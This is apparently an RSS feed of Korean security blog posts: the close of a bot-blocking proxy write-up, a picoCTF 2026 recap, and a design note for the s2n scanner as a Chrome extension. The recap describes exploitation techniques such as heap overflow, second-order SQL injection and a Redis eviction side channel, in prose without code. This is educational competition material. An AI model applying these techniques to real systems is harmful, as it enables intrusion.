<pre><code class="language-bash"># 1. 클론 및 의존성 설치
git clone https://github.com/HOHK0923/ticket-redirect-guard.git
cd ticket-redirect-guard
pip install -r requirements.txt

# 2. Redis 실행
docker compose up -d

# 3. 환경변수 설정
cp .env.example .env
# .env 파일 열어서 UPSTREAM_URL 등 수정

# 4. Guard 서버 실행
uvicorn server:app --host 0.0.0.0 --port 8000</code></pre>
<hr>
<h2 id="기술-스택">기술 스택</h2>
<table>
<thead>
<tr>
<th>분류</th>
<th>사용 기술</th>
</tr>
</thead>
<tbody><tr>
<td>언어</td>
<td>Python 3.x</td>
</tr>
<tr>
<td>웹 프레임워크</td>
<td>FastAPI</td>
</tr>
<tr>
<td>비동기 HTTP</td>
<td>httpx (리버스 프록시용)</td>
</tr>
<tr>
<td>세션/토큰 저장소</td>
<td>Redis (비동기 연결)</td>
</tr>
<tr>
<td>서버 런타임</td>
<td>uvicorn</td>
</tr>
<tr>
<td>컨테이너</td>
<td>Docker, docker-compose</td>
</tr>
<tr>
<td>인프라</td>
<td>KT Cloud</td>
</tr>
</tbody></table>
<hr>
<h2 id="그래도-좋은-점은">그래도 좋은 점은?</h2>
<p><strong>백엔드 코드를 한 줄도 안 건드렸다.</strong></p>
<p>이게 이 프로젝트에서 가장 만족스러운 부분이다. Guard 서버는 완전히 독립적인 프록시라서, 어떤 백엔드든 <code>UPSTREAM_URL</code>만 바꾸면 앞에 끼워 넣을 수 있다. 기존 시스템에 대한 침투성이 거의 없다.</p>
<p>봇 차단을 &quot;봇이냐 아니냐 판별&quot;이 아니라 <strong>&quot;구조 자체가 봇을 버티게 못 만드는 것&quot;</strong> 으로 접근한 게 설계적으로 좋은 방향이었다고 생각한다. 오탐(FP) 걱정 없이 모든 사용자에게 동일한 흐름을 강제하면서 봇이 자연스럽게 걸러진다.</p>
<hr>
<h2 id="마치며">마치며</h2>
<p>처음 설계와 최종 결과물이 꽤 달라졌다. Risk Score 기반 탐지에서 시작해서 큐 통과 토큰 + 302 리다이렉트 구조로 완전히 방향을 틀었는데, 이 과정이 오히려 더 좋은 설계를 만들어줬다.</p>
<p>&quot;기능을 많이 넣는 것&quot;보다 &quot;핵심 문제를 구조로 해결하는 것&quot;이 낫다는 걸 이번 프로젝트에서 직접 경험했다.</p>
<p>KT Cloud Tech UP 실무 통합 프로젝트에서 인프라(AWS/KT Cloud), SIEM, 자동화 레드팀 툴 등 여러 파트가 있었는데, 보안 프록시 파트를 맡으면서 웹 보안의 방어 관점을 깊이 고민할 수 있었다. 공격만 생각하다가 &quot;어떻게 막을 것인가&quot;를 설계 레벨에서 풀어보는 경험이 꽤 값졌다.</p>
<hr>
<blockquote>
<p><strong>작성자</strong>: HoHK (2SeC 팀)<br><strong>프로젝트</strong>: KT Cloud Tech UP 실무 통합 프로젝트<br><strong>레포지토리</strong>: <a href="https://github.com/HOHK0923/ticket-redirect-guard">github.com/HOHK0923/ticket-redirect-guard</a></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[picoCTF 2026 참가 후기]]></title>
            <link>https://velog.io/@9_000k/picoCTF-2026-%EC%B0%B8%EA%B0%80-%ED%9B%84%EA%B8%B0</link>
            <guid>https://velog.io/@9_000k/picoCTF-2026-%EC%B0%B8%EA%B0%80-%ED%9B%84%EA%B8%B0</guid>
            <pubDate>Mon, 16 Mar 2026 04:32:55 GMT</pubDate>
            <description><![CDATA[<h1 id="picoctf-2026-참가-후기---첫-ctf에서-47등">picoCTF 2026 참가 후기 - 첫 CTF에서 47등</h1>
<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>인생 첫 CTF 대회인 picoCTF 2026에 참가해서 <strong>47등</strong>(14,500점)을 했다</li>
<li>Binary Exploitation, Blockchain, Forensics, Reverse Engineering <strong>4개 카테고리 올클</strong>, 개인 점수 10,800점</li>
<li>Pwn은 예상보다 쉬웠고, paper-2(Web 500pt)는 진짜 어려웠다</li>
</ol>
<hr>
<h2 id="시작하며">시작하며</h2>
<p>picoCTF 2026이 나의 첫 CTF 대회였다. 솔직히 CTF라는 걸 제대로 해본 적이 없어서 어디까지 풀 수 있을지 감도 안 잡혔다. 그냥 평소에 공부했던 거 써먹어보자는 마음으로 참가했는데, 결과가 예상보다 훨씬 좋게 나왔다. 운이 좋았다고 생각한다.</p>
<p>팀명은 <strong>ANH_1</strong>, 닉네임은 <strong>nyoHk</strong>로 참가했다.</p>
<p><img src="https://velog.velcdn.com/images/9_000k/post/9832ec8e-eaff-4065-8aac-d9350acfce0c/image.png" alt=""></p>
<p><em>47등, 14,500점. 초록색으로 하이라이트된 게 우리 팀이다.</em></p>
<p><img src="https://velog.velcdn.com/images/9_000k/post/aae8c0d5-955c-4721-b682-49f48afd6147/image.png" alt="">
<em>개인 점수 10,800/14,500. 4개 카테고리 올클이 눈에 보인다.</em></p>
<hr>
<h2 id="대회-진행-흐름">대회 진행 흐름</h2>
<p>대회 기간은 약 일주일이었고, 실질적으로 집중한 건 4일 정도다.</p>
<table>
<thead>
<tr>
<th>날짜</th>
<th>한 일</th>
<th>비고</th>
</tr>
</thead>
<tbody><tr>
<td><strong>3/10 (1일차)</strong></td>
<td>Pwn 8문제 올클 + Rev 고배점 문제 착수</td>
<td>Pwn을 약 2시간 만에 밀어버렸다</td>
</tr>
<tr>
<td><strong>3/10<del>11 (1</del>2일차 새벽)</strong></td>
<td>Rev, Blockchain 올클 + Forensics 고배점 + Web/General 일부</td>
<td>새벽까지 달렸다</td>
</tr>
<tr>
<td><strong>3/13 (3일차)</strong></td>
<td>남은 쉬운 문제들 스피드런</td>
<td>General Skills, Forensics, Rev 100pt대 정리</td>
</tr>
<tr>
<td><strong>3/14~16</strong></td>
<td>paper-2에 매달림</td>
<td>이거 하나에 며칠을 쏟았다</td>
</tr>
</tbody></table>
<p>1일차에 Pwn을 빠르게 정리한 게 컸다. 덕분에 나머지 시간을 Web 고배점 문제에 투자할 수 있었다.</p>
<hr>
<h2 id="카테고리별-리뷰">카테고리별 리뷰</h2>
<h3 id="binary-exploitation-88-올클">Binary Exploitation (8/8, 올클)</h3>
<p><img src="https://velog.velcdn.com/images/9_000k/post/237c21b5-9f5e-446d-a1d5-551ca54ec19a/image.png" alt="">
<em>Pwn 문제 목록. 3월 10일 오후에 전부 풀었다.</em></p>
<p>솔직히 Pwn이 제일 걱정이었는데, <strong>예상보다 쉬웠다</strong>. 오후 3시 51분에 Quizploit(50pt)을 시작해서 5시 48분에 Pizza Router(400pt)까지, 약 <strong>2시간 만에 8문제 전부</strong> 풀었다.</p>
<p>Echo Escape 1, 2는 기본적인 Buffer Overflow/Format String 문제였고, Heap Havoc은 힙 오버플로우로 함수 포인터를 덮는 전형적인 패턴이었다. tea-cash는 tcache free list 구조를 이해하고 있으면 풀 수 있었고, offset-cycle 시리즈도 오프셋 계산만 정확하면 됐다. Pizza Router가 그나마 좀 복잡했는데, 힙 주소 leak 후 함수 포인터를 조작하는 방식이라 접근법 자체는 익숙했다.</p>
<p>평소에 pwntools 가지고 이것저것 해본 게 도움이 많이 된 것 같다. 다만 picoCTF 특성상 교육 목적의 대회라 난이도가 실전 워게임보다는 낮았을 수 있다. 그래도 첫 CTF에서 Pwn 올클은 기분이 좋았다.</p>
<table>
<thead>
<tr>
<th>문제</th>
<th>배점</th>
<th>기법</th>
<th>체감 난이도</th>
</tr>
</thead>
<tbody><tr>
<td>Quizploit</td>
<td>50</td>
<td>기초</td>
<td>하</td>
</tr>
<tr>
<td>Echo Escape 1</td>
<td>100</td>
<td>Stack BOF, ROP</td>
<td>하</td>
</tr>
<tr>
<td>Echo Escape 2</td>
<td>100</td>
<td>Stack BOF (32bit)</td>
<td>하</td>
</tr>
<tr>
<td>tea-cash</td>
<td>100</td>
<td>Tcache 구조 이해</td>
<td>중하</td>
</tr>
<tr>
<td>Heap Havoc</td>
<td>200</td>
<td>Heap Overflow, 함수 포인터 덮기</td>
<td>중</td>
</tr>
<tr>
<td>offset-cycle</td>
<td>300</td>
<td>오프셋 계산</td>
<td>중</td>
</tr>
<tr>
<td>offset-cycleV2</td>
<td>400</td>
<td>offset-cycle 심화</td>
<td>중</td>
</tr>
<tr>
<td>Pizza Router</td>
<td>400</td>
<td>Heap Leak + 함수 포인터 조작</td>
<td>중상</td>
</tr>
</tbody></table>
<hr>
<h3 id="reverse-engineering-1111-올클">Reverse Engineering (11/11, 올클)</h3>
<p><img src="https://velog.velcdn.com/images/9_000k/post/24f91d4f-1ecd-4fd4-babd-cbad1233a92b/image.png" alt="">
<em>Rev 문제 목록. JITFP(500pt)를 제일 먼저 풀었다.</em></p>
<p>Rev는 재밌었다. 특이하게 가장 높은 배점인 <strong>JITFP(500pt)를 제일 먼저</strong> 풀었다(3/10 오후 6:18). 그 다음 날 새벽에 Binary Instrumentation 시리즈(300, 400pt)를 정리하고, 3일차에 나머지 100~200pt대 문제들을 스피드런으로 밀었다.</p>
<p>Binary Instrumentation 3, 4가 인상 깊었다. 바이너리 계측(instrumentation) 도구를 활용해서 동적 분석하는 문제였는데, 정적 분석만으로는 풀기 어려운 구조였다. Hidden Cipher 시리즈는 암호화 로직을 역추적하는 전형적인 Rev 문제였고, Gatekeeper나 Bypass Me는 조건 분기를 우회하는 기본기 문제였다.</p>
<hr>
<h3 id="blockchain-44-올클">Blockchain (4/4, 올클)</h3>
<p>Blockchain 카테고리는 4문제 전부 Solidity 스마트 컨트랙트 취약점 문제였다. 3월 11일 새벽에 약 30분 만에 전부 정리했다.</p>
<table>
<thead>
<tr>
<th>문제</th>
<th>배점</th>
<th>취약점</th>
</tr>
</thead>
<tbody><tr>
<td>Access_Control</td>
<td>200</td>
<td>접근 제어 미흡</td>
</tr>
<tr>
<td>Front_Running</td>
<td>300</td>
<td>트랜잭션 선행 실행</td>
</tr>
<tr>
<td>Smart_Overflow</td>
<td>300</td>
<td>정수 오버플로우</td>
</tr>
<tr>
<td>Reentrance</td>
<td>400</td>
<td>재진입 공격</td>
</tr>
</tbody></table>
<p>Reentrance(재진입 공격)가 제일 배점이 높았는데, 유명한 DAO 해킹 사건에서 쓰인 기법이라 공부해둔 게 그대로 나왔다. 운이 좋았다.</p>
<hr>
<h3 id="forensics-88-올클">Forensics (8/8, 올클)</h3>
<p><img src="https://velog.velcdn.com/images/9_000k/post/7ccddd43-3b0a-4e3d-8bfc-faff8ea7326a/image.png" alt=""></p>
<p>Forensics Git 시리즈(0, 1, 2)가 기억에 남는다. Git 히스토리를 뒤져서 숨겨진 정보를 찾는 문제인데, <code>git log</code>, <code>git diff</code>, <code>git show</code> 같은 명령어를 얼마나 잘 쓰느냐가 관건이었다. Forensics Git 2(400pt)가 시리즈 중에서 가장 까다로웠다.</p>
<p>Rogue Tower(300pt)와 Timeline 시리즈도 나름 재밌었다. DISKO 4는 디스크 이미지 분석 문제였는데 도구만 잘 쓰면 금방 풀렸다.</p>
<hr>
<h3 id="general-skills-1517">General Skills (15/17)</h3>
<p><img src="https://velog.velcdn.com/images/9_000k/post/15db81b9-ce8a-4c50-8570-2d813f1d3a35/image.png" alt="">
<em>General Skills 문제 목록.</em></p>
<p>Printer Shares 시리즈(1, 2, 3)가 이 카테고리에서 가장 기억에 남는다. SMB 프로토콜을 이용한 문제인데, Printer Shares 2에서 SAMR 프로토콜로 비밀번호를 크래킹하는 과정이 실전적이었다. bytemancy 시리즈(0~3)도 바이트 조작을 단계별로 심화해가는 구조라 학습용으로 괜찮았다.</p>
<hr>
<h3 id="web-exploitation-610">Web Exploitation (6/10)</h3>
<p><img src="https://velog.velcdn.com/images/9_000k/post/cac297ff-c7ce-4c73-991a-b48ba38d5b19/image.png" alt="">
<em>Web 문제 목록. 6문제 풀었다.</em></p>
<p>Web은 6문제를 풀었고 이 카테고리에서 <strong>가장 어려웠던 문제이자 이번 대회 전체에서 가장 고생한 문제가 paper-2</strong>다.</p>
<p><strong>ORDER ORDER(300pt)</strong> 는 Second-Order SQL Injection 문제였다. 회원가입 시에는 prepared statement로 안전하게 저장되지만, 리포트 생성 시 username이 쿼리에 직접 결합되는 구조였다. 문제 설명에 &quot;I&#39;ve prepared my queries everywhere! I think!&quot; 라고 적혀있었는데, 이게 힌트였다. 모든 쿼리를 prepared 했다고 생각하지만 사실 빠뜨린 곳이 있다는 뜻이었다.</p>
<p><strong>paper-2(500pt)</strong> 는 진짜 어려웠다. Redis의 LRU(Least Recently Used) Eviction 정책을 이용한 부채널(Side-channel) 공격인데, CSS 셀렉터로 봇이 특정 캐시 엔트리를 &quot;터치&quot;하게 유도한 다음, 더미 데이터를 밀어넣어서 터치되지 않은 엔트리만 삭제시키는 방식이다. 개념 자체도 생소했고, 타이밍 조절이 핵심이었다. 약 <strong>84번의 시도</strong> 끝에 풀었고, 3일 정도를 이 문제 하나에 쏟았다. 이건 별도 writeup으로 상세하게 정리할 예정이다.</p>
<hr>
<h2 id="어려웠던-점">어려웠던 점</h2>
<h3 id="paper-2에-매달린-3일">paper-2에 매달린 3일</h3>
<p>솔직히 paper-2가 아니었으면 대회가 훨씬 편했을 거다. Redis 캐시 용량이 5,000 slots인 걸 알아내는 것부터, Pre-fill 양(430MB)과 Eviction 양(230MB)의 정밀한 조절, 봇이 CSS를 파싱하는 동안의 15초 딜레이 계산까지... 단순히 코드를 짜는 게 아니라 <strong>인프라 레벨의 이해</strong>가 필요했다.</p>
<p>처음에는 노이즈 캔슬링이라는 그럴듯한 방법을 썼는데, 오히려 Redis 상태를 계속 변화시켜서 신호가 0개로 나왔다. 결국 단순하게 플러딩 마진을 넉넉히 주는 게 답이었다. 스마트한 방법이 항상 좋은 건 아니라는 걸 체감했다.</p>
<hr>
<h2 id="배운-점">배운 점</h2>
<h3 id="잘했던-점">잘했던 점</h3>
<ul>
<li><strong>Pwn 올클</strong>: 2시간 만에 8문제를 밀어버린 건 평소 연습이 빛을 발한 결과다</li>
<li><strong>4개 카테고리 올클</strong>: Binary Exploitation, Blockchain, Forensics, Reverse Engineering 전부 올클한 건 범용성 측면에서 자신감이 생겼다</li>
<li><strong>시간 분배</strong>: 쉬운 문제를 빠르게 정리하고, 남은 시간을 고배점 문제에 투자하는 전략이 잘 먹혔다</li>
</ul>
<h3 id="다음-목표">다음 목표</h3>
<ul>
<li>Cryptography 기초부터 체계적으로 공부</li>
<li>Web 고난도 문제 연습 (SQLi 심화, SSRF, Deserialization 등)</li>
<li>pwnable.kr, pwnable.tw 같은 워게임으로 Pwn 실력 더 올리기</li>
</ul>
<hr>
<h2 id="최종-성적-요약">최종 성적 요약</h2>
<table>
<thead>
<tr>
<th>카테고리</th>
<th>풀이</th>
<th>올클 여부</th>
<th>개인 점수</th>
</tr>
</thead>
<tbody><tr>
<td>Binary Exploitation</td>
<td>8/8</td>
<td><strong>올클</strong></td>
<td>1,650</td>
</tr>
<tr>
<td>Blockchain</td>
<td>4/4</td>
<td><strong>올클</strong></td>
<td>1,200</td>
</tr>
<tr>
<td>Cryptography</td>
<td>0/12</td>
<td>-</td>
<td>0</td>
</tr>
<tr>
<td>Forensics</td>
<td>8/8</td>
<td><strong>올클</strong></td>
<td>1,900</td>
</tr>
<tr>
<td>General Skills</td>
<td>15/17</td>
<td>-</td>
<td>2,150</td>
</tr>
<tr>
<td>Reverse Engineering</td>
<td>11/11</td>
<td><strong>올클</strong></td>
<td>2,400</td>
</tr>
<tr>
<td>Web Exploitation</td>
<td>6/10</td>
<td>-</td>
<td>1,500</td>
</tr>
<tr>
<td><strong>합계</strong></td>
<td><strong>52/70</strong></td>
<td></td>
<td><strong>10,800</strong></td>
</tr>
</tbody></table>
<hr>
<h2 id="마치며">마치며</h2>
<p>첫 CTF치고는 운이 좋았다고 생각한다. 47등이라는 숫자도 좋지만, 그보다 평소에 공부했던 것들이 실제 문제에서 통한다는 걸 확인한 게 더 값졌다. Pwn이나 Rev 같은 바이너리 계열은 자신감이 붙었고, Blockchain 쪽도 기본적인 스마트 컨트랙트 취약점은 커버할 수 있다는 걸 알게 됐다.</p>
<p>paper-2를 비롯한 주요 문제들의 상세 writeup은 별도 글로 올릴 예정이다.</p>
<p><strong>출처</strong>: picoCTF 2026 (Carnegie Mellon University)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[s2n 웹 스캐너 개발 - 1]]></title>
            <link>https://velog.io/@9_000k/s2n-%EC%9B%B9-%EC%8A%A4%EC%BA%90%EB%84%88-%EA%B0%9C%EB%B0%9C-1-66dhx2c7</link>
            <guid>https://velog.io/@9_000k/s2n-%EC%9B%B9-%EC%8A%A4%EC%BA%90%EB%84%88-%EA%B0%9C%EB%B0%9C-1-66dhx2c7</guid>
            <pubDate>Fri, 06 Mar 2026 03:14:53 GMT</pubDate>
            <description><![CDATA[<h1 id="s2n-기반-정적-분석--서비스-취약점-연계-스캐너-설계-정리--1">s2n 기반 정적 분석 + 서비스 취약점 연계 스캐너 설계 정리 -1</h1>
<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>s2n은 기능 확장 자체보다 <strong>어떻게 실전에서 더 쉽게 쓰게 만들 것인가</strong>가 먼저 중요했다.  </li>
<li>초기 제품 방향은 서버형 SaaS보다 <strong>로컬 기반 Chrome Extension 구조</strong>가 더 현실적이었다.  </li>
<li>목표는 단순 GUI 추가가 아니라, <strong>레드팀 관점의 사전 분석 보조 도구</strong>로 발전시키는 것이다.  </li>
</ol>
<hr>
<h2 id="시작하며">시작하며</h2>
<p>처음에는 단순히 이런 생각이었다.</p>
<p>s2n에 정적 분석을 붙이고, 포트 서비스 버전 분석을 붙이고, CVE 연계를 붙이면 더 강한 도구가 되지 않을까?</p>
<p>틀린 생각은 아니다.<br>근데 실제로 프로젝트를 이어가다 보니 기능 추가만으로는 부족하다는 게 보였다.</p>
<p>보안 도구는 기능이 많아도 <strong>실제로 손이 잘 안 가면 의미가 없다.</strong></p>
<p>특히 CLI 기반 도구는 익숙한 사람에겐 편하지만,
처음 접하는 사람이나 협업 환경에서는 다음 같은 문제가 생긴다.</p>
<ul>
<li>실행 방법을 따로 익혀야 한다  </li>
<li>옵션이 많아질수록 사용 진입장벽이 커진다  </li>
<li>결과를 파일이나 로그로 직접 뒤져야 한다  </li>
<li>이전 실행 이력을 다시 보기 불편하다  </li>
<li>분석 엔진은 좋은데 도구 자체는 덜 다듬어진 느낌이 난다  </li>
</ul>
<p>그래서 어느 순간부터 질문이 바뀌었다.</p>
<p><strong>무슨 기능을 더 넣을까?</strong> 보다<br><strong>이걸 어떻게 하면 더 실전적으로, 더 자주 쓰게 만들 수 있을까?</strong><br>이걸 먼저 보게 된 거다.</p>
<p>이 글은 그 방향 전환에 대한 기록이다.<br>즉, <strong>왜 s2n을 로컬 중심으로 재정리했고, 왜 Chrome Extension 방향으로 잡았는지</strong>를 정리한 문서다.</p>
<hr>
<h2 id="전체-방향-전환">전체 방향 전환</h2>
<p>처음 흐름은 사실상 이런 구조에 가까웠다.</p>
<pre><code class="language-text">[CLI Scanner]
   |
   v
[결과 JSON / 로그]
   |
   v
[사용자가 직접 확인]</code></pre>
<p>이 구조는 개발자 입장에서는 단순하고 빠르다.<br>근데 사용자 입장에서는 생각보다 불친절하다.</p>
<ul>
<li>터미널에서 실행해야 하고  </li>
<li>옵션은 직접 기억하거나 문서를 다시 찾아봐야 하고  </li>
<li>결과는 JSON, 로그, 콘솔 출력으로 흩어질 수 있고  </li>
<li>반복 실험 결과를 한 눈에 비교하기 어렵다  </li>
</ul>
<p>그래서 방향을 바꾸기로 했다.</p>
<pre><code class="language-text">[Chrome Extension UI]
   |
   v
[스캔 실행 / 상태 확인 / 결과 확인]
   |
   v
[로컬 저장 / JSON 내보내기 / 히스토리 관리]</code></pre>
<p>핵심은 단순하다.</p>
<p><strong>스캐너를 만드는 것에서 끝나는 게 아니라,
실제로 계속 쓰게 되는 분석 도구 형태까지 포함해 설계하자</strong>는 거다.</p>
<p>이 방향은 단순 편의성 개선이 아니라,
프로젝트를 포트폴리오 관점에서 봤을 때도 훨씬 의미가 있다.</p>
<p>왜냐하면 “기능 구현”만 한 사람이 아니라,
<strong>보안 도구를 어떤 방식으로 제품화할지 고민한 사람</strong>이라는 점까지 보여줄 수 있기 때문이다.</p>
<hr>
<h2 id="1-왜-굳이-로컬화하려-했는가">1. 왜 굳이 로컬화하려 했는가</h2>
<p>이건 단순히 가볍게 만들고 싶어서가 아니다.<br>초기 단계에서 <strong>불필요한 복잡도를 줄이고 핵심 기능에 집중하기 위해서</strong>다.</p>
<p>보안 스캐너를 서버형으로 만들면 겉보기엔 더 멋있어 보일 수 있다.<br>근데 실제로는 너무 많은 문제가 한꺼번에 따라온다.</p>
<h3 id="서버형-구조에서-바로-생기는-문제">서버형 구조에서 바로 생기는 문제</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>문제</th>
</tr>
</thead>
<tbody><tr>
<td>대상 정보 처리</td>
<td>스캔 대상 정보가 외부 서버를 거치게 된다</td>
</tr>
<tr>
<td>결과 저장</td>
<td>사용자 결과를 서버 기준으로 설계해야 한다</td>
</tr>
<tr>
<td>인증/권한</td>
<td>로그인, 세션, 권한 관리가 필요해진다</td>
</tr>
<tr>
<td>운영 부담</td>
<td>배포, 장애 대응, 모니터링 등 운영 이슈가 늘어난다</td>
</tr>
<tr>
<td>확장 방향</td>
<td>스캐너보다 플랫폼 관리가 더 큰 문제가 될 수 있다</td>
</tr>
</tbody></table>
<p>이러면 프로젝트의 본질이 흐려진다.</p>
<p>지금 우리가 만들고 싶은 건 거대한 SaaS 플랫폼이 아니다.<br>핵심은 <strong>s2n의 분석 기능을 더 실전적으로 활용할 수 있게 만드는 것</strong>이다.</p>
<p>그래서 초기 단계에서는 서버를 붙이는 것보다<br><strong>사용자 로컬 환경에서 바로 실행되고, 바로 결과를 볼 수 있는 구조</strong>가 더 적절하다고 판단했다.</p>
<h3 id="로컬-구조의-장점">로컬 구조의 장점</h3>
<ul>
<li>설치 후 바로 테스트 가능  </li>
<li>대상 정보가 외부 서버를 굳이 거치지 않는다  </li>
<li>결과를 사용자가 직접 보관할 수 있다  </li>
<li>MVP 단계에서 구현 범위를 통제하기 쉽다  </li>
<li>핵심 엔진 개선에 더 집중할 수 있다  </li>
</ul>
<p>즉, 로컬화는 편의성 선택이 아니라<br><strong>개발 우선순위를 바로잡기 위한 설계 선택</strong>이었다.</p>
<hr>
<h2 id="2-왜-electron이-아니라-chrome-extension인가">2. 왜 Electron이 아니라 Chrome Extension인가</h2>
<p>로컬 GUI를 만든다고 하면 보통 Electron 같은 데스크탑 앱도 충분히 후보가 될 수 있다.</p>
<p>근데 이번에는 Chrome Extension 쪽이 더 잘 맞는다고 봤다.</p>
<p>이유는 분명하다.<br>s2n이 다루는 대상과 사용 흐름이 웹 환경과 더 가깝기 때문이다.</p>
<h3 id="chrome-extension을-선택한-이유">Chrome Extension을 선택한 이유</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>이유</th>
</tr>
</thead>
<tbody><tr>
<td>접근성</td>
<td>설치와 실행 진입장벽이 낮다</td>
</tr>
<tr>
<td>사용성</td>
<td>브라우저 안에서 바로 열 수 있어 흐름이 빠르다</td>
</tr>
<tr>
<td>구조 단순성</td>
<td>Popup, Options, Background 구조만으로 핵심 흐름 구현이 가능하다</td>
</tr>
<tr>
<td>테스트 편의성</td>
<td>개발 단계에서 빠르게 로컬 테스트가 가능하다</td>
</tr>
<tr>
<td>권한 통제</td>
<td>필요한 권한만 제한적으로 줄 수 있다</td>
</tr>
<tr>
<td>웹 친화성</td>
<td>웹 서비스 대상 분석 흐름과 잘 맞는다</td>
</tr>
</tbody></table>
<p>Electron은 자유도가 높은 대신,
앱 자체를 만드는 비용이 더 커진다.</p>
<p>반면 Chrome Extension은 초기 MVP를 만들 때 더 가볍고,
웹 서비스 중심 보안 도구라는 성격에도 잘 맞는다.</p>
<p>즉, 이번 선택의 기준은 “무엇이 더 멋있나”가 아니라<br><strong>“무엇이 더 빨리, 더 현실적으로 핵심 보안 분석 흐름을 구현하나”</strong>였다.</p>
<hr>
<h2 id="3-chrome-extension-구조가-s2n에-잘-맞는-이유">3. Chrome Extension 구조가 s2n에 잘 맞는 이유</h2>
<p>s2n의 핵심 강점은 플러그인 확장 구조다.<br>그러면 GUI도 그 철학을 망치면 안 된다.</p>
<p>Chrome Extension 구조는 이 점에서 꽤 잘 맞는다.</p>
<pre><code class="language-text">[Popup]
- 빠른 실행
- 대상 입력
- 플러그인 선택

[Background]
- 스캔 작업 관리
- 상태 유지
- 요청 흐름 제어

[Options]
- 세부 설정
- 결과 목록
- 히스토리 확인
- 내보내기</code></pre>
<p>역할 분리가 명확하다.</p>
<h3 id="이-구조가-좋은-이유">이 구조가 좋은 이유</h3>
<ul>
<li>UI는 가볍게 유지할 수 있다  </li>
<li>실제 작업은 Background에서 관리할 수 있다  </li>
<li>결과 저장과 화면 표시를 분리할 수 있다  </li>
<li>플러그인 추가가 전체 UI 수정으로 번지는 걸 막을 수 있다  </li>
</ul>
<p>즉, 내부 엔진 구조와 사용자 인터페이스 구조가 서로 충돌하지 않는다.</p>
<p>이건 포트폴리오 관점에서도 중요하다.<br>단순히 “GUI 붙였다” 수준이 아니라,
<strong>확장형 보안 도구에 맞는 인터페이스 구조를 고민했다</strong>는 흔적이 되기 때문이다.</p>
<hr>
<h2 id="4-왜-이-방향이-레드팀-관점에서도-의미가-있는가">4. 왜 이 방향이 레드팀 관점에서도 의미가 있는가</h2>
<p>나는 원래 레드팀 지향으로 공부하고 있고,
도구를 볼 때도 단순 점검 툴보다는 <strong>실전에서 어떤 흐름에 들어갈 수 있느냐</strong>를 더 중요하게 본다.</p>
<p>그 관점에서 보면 이번 구조 전환은 단순 UI 개선이 아니다.</p>
<p>이 도구는 잘 다듬으면 다음 같은 흐름의 앞단에 놓을 수 있다.</p>
<h3 id="실전-관점-흐름">실전 관점 흐름</h3>
<pre><code class="language-text">[대상 식별]
   |
   v
[포트 / 서비스 파악]
   |
   v
[기술 스택 / 버전 / 구조 추정]
   |
   v
[정적 분석 / 취약 구성 탐지]
   |
   v
[CVE / 공격 가능성 / 방어 포인트 정리]</code></pre>
<p>즉, 이건 단순 취약점 스캐너가 아니라
<strong>사전 정찰과 기술 표면 분석을 보조하는 도구</strong>로 확장될 수 있다.</p>
<p>레드팀에서 중요한 건 단순히 “취약점 하나 찾기”가 아니다.<br>대상 환경을 빠르게 이해하고,
어떤 기술 스택이 돌아가고 있고,
어느 부분이 약한지 우선순위를 잡는 과정이 중요하다.</p>
<p>그런 의미에서 s2n의 방향을</p>
<ul>
<li>정적 분석  </li>
<li>서비스 버전 분석  </li>
<li>CVE 연계  </li>
<li>설명 가능한 리포트<br>로 잡은 건 꽤 일관된 선택이었다.</li>
</ul>
<p>그리고 여기에 Chrome Extension 형태를 붙이면,
이 분석 흐름이 더 자주, 더 빠르게 실행될 수 있다.</p>
<p>즉, <strong>실전형 분석 도구로서의 접근성이 올라간다</strong>는 점에서 의미가 있다.</p>
<hr>
<h2 id="5-우리가-만들고-싶은-건-거대한-플랫폼이-아니라-손이-가는-분석-도구다">5. 우리가 만들고 싶은 건 거대한 플랫폼이 아니라 “손이 가는 분석 도구”다</h2>
<p>프로젝트를 하다 보면 자꾸 욕심이 생긴다.</p>
<ul>
<li>계정 시스템도 넣고 싶고  </li>
<li>협업 기능도 넣고 싶고  </li>
<li>서버 동기화도 넣고 싶고  </li>
<li>대시보드도 크게 만들고 싶다  </li>
</ul>
<p>근데 그렇게 가면 초기에 가장 중요한 걸 놓친다.</p>
<p>지금 필요한 건 거대한 플랫폼이 아니다.<br>핵심은 <strong>작아도 실제로 계속 쓰게 되는 도구</strong>다.</p>
<p>우리가 원하는 건 대충 이런 흐름이다.</p>
<ol>
<li>대상 입력  </li>
<li>스캔 시작  </li>
<li>진행 상태 확인  </li>
<li>결과 요약 확인  </li>
<li>필요하면 JSON 내보내기  </li>
<li>이전 기록 다시 확인  </li>
</ol>
<p>이 흐름만 제대로 돌아가도 도구로서의 완성도는 꽤 높다.</p>
<p>즉, 이번 방향 전환은 기능 축소가 아니라,
<strong>핵심 사용 경험에 집중하기 위한 범위 통제</strong>에 가깝다.</p>
<hr>
<h2 id="6-사용자-경험-측면에서도-구조-전환-효과가-크다">6. 사용자 경험 측면에서도 구조 전환 효과가 크다</h2>
<p>기존 CLI 중심 흐름은 보통 이렇다.</p>
<pre><code class="language-text">설치 -&gt; 명령어 확인 -&gt; 옵션 입력 -&gt; 실행 -&gt; 로그 확인 -&gt; 결과 파일 열기</code></pre>
<p>반면 Extension 기반 흐름은 이렇게 바뀐다.</p>
<pre><code class="language-text">확장 실행 -&gt; 대상 입력 -&gt; 버튼 클릭 -&gt; 상태 확인 -&gt; 결과 확인 -&gt; 내보내기</code></pre>
<p>겉보기에 단순한 차이 같지만,
실제 사용성에서는 큰 차이를 만든다.</p>
<h3 id="비교">비교</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>기존 방식</th>
<th>변경 후</th>
</tr>
</thead>
<tbody><tr>
<td>실행 진입</td>
<td>터미널 필요</td>
<td>버튼 클릭 중심</td>
</tr>
<tr>
<td>설정 접근</td>
<td>옵션 기억 필요</td>
<td>UI에서 선택 가능</td>
</tr>
<tr>
<td>결과 확인</td>
<td>파일/로그 직접 확인</td>
<td>화면에서 바로 확인</td>
</tr>
<tr>
<td>히스토리</td>
<td>직접 관리</td>
<td>로컬 저장 가능</td>
</tr>
<tr>
<td>반복 사용성</td>
<td>숙련자 중심</td>
<td>더 넓은 사용자 접근 가능</td>
</tr>
</tbody></table>
<p>보안 도구는 결국 반복 사용성이 중요하다.<br>한 번만 돌려보고 끝나는 도구보다,
자주 열고 자주 실험하게 되는 도구가 훨씬 강하다.</p>
